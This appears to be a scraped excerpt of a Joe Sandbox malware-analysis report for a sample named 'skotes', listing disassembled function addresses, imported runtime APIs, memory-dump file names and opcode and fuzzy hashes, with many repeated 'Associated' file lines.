Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 1e0780a5954119c246e543fa0c92f4581229dbd8351cb3695b12acd6c578f783
Instruction ID: d53c42dc209005e91bcf3ea38cf615413512dc260d47ca169c7d12d30efbfd59
Opcode Fuzzy Hash: 1e0780a5954119c246e543fa0c92f4581229dbd8351cb3695b12acd6c578f783
Instruction Fuzzy Hash: 8C217C313446049BEB2A9B68DC85B6CB7B5DFC1310F30C619E508EB7D9C77569808B12

Function 0039D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0039A813,00000001,00000364,00000006,000000FF,?,0039EE3F,?,00000004,00000000,?,?), ref: 0039D871

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 85b61cc7c21a41cdb9b8391e2c15cd610f541075aeffde479261e2db9e74c69b
Instruction ID: 60efe21ef21a48e823c5751b90925aab9beacda07c640018e22db2405bb213d3
Opcode Fuzzy Hash: 85b61cc7c21a41cdb9b8391e2c15cd610f541075aeffde479261e2db9e74c69b
Instruction Fuzzy Hash: 12F0893151913566DF237A769C07B5B775DDF85770B168521AD049B583DA20DC0186E0

Non-executed Functions

Function 00362EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00362F5F
GetCurrentThreadId.KERNEL32 ref: 00362F7E
__Mtx_unlock.LIBCPMT ref: 00362FCC
__Cnd_broadcast.LIBCPMT ref: 00362FE3
__Mtx_unlock.LIBCPMT ref: 003630F5
GetCurrentThreadId.KERNEL32 ref: 00363132
__Mtx_unlock.LIBCPMT ref: 0036319B

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 3a9ed22c2fd341880ac9a7522ddf896e86c9e13681815e56384d762ebfe941e6
Instruction ID: 3b03e638b93420925b091bc582ec4e0830c72fc979aabebfa8b7869eb25dec8d
Opcode Fuzzy Hash: 3a9ed22c2fd341880ac9a7522ddf896e86c9e13681815e56384d762ebfe941e6
Instruction Fuzzy Hash: 0DA1E4B0A016059FDB22DF64C84479AB7B8FF15314F05C52DE81AEB641EB35EA08CBD1

Function 0039CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0039CC66

Strings

v9, xrefs: 0039CBE1

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v9
API String ID: 3213747228-3260138212
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: ec0ffafc11a6ef6101f12a42eb61f50687ec858189b379b8a41b381153e9be81
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 34B12432D246859FDF16CF28C8917BEBFE5EF4A340F15516AE855EB242D6348D02CB60

Function 0037BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0037BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0037BBE4
_xtime_get.LIBCPMT ref: 0037BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0037BC13

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 680f5e044e5561cdda4b0b756d232f5a169e95095524091f9b731a67727ebdd0
Instruction ID: 7fcb150a71aedd96352b29f06246f109a51ae083a91ebf759b64518a4e4b1e17
Opcode Fuzzy Hash: 680f5e044e5561cdda4b0b756d232f5a169e95095524091f9b731a67727ebdd0
Instruction Fuzzy Hash: 91216571900119AFDF12EFA4DC819BEB7B9EF08710F108019F905BB261DB349D019B90

Function 0039F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0039F3A3

Strings

`'<, xrefs: 0039F375
8"<, xrefs: 0039F44B

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
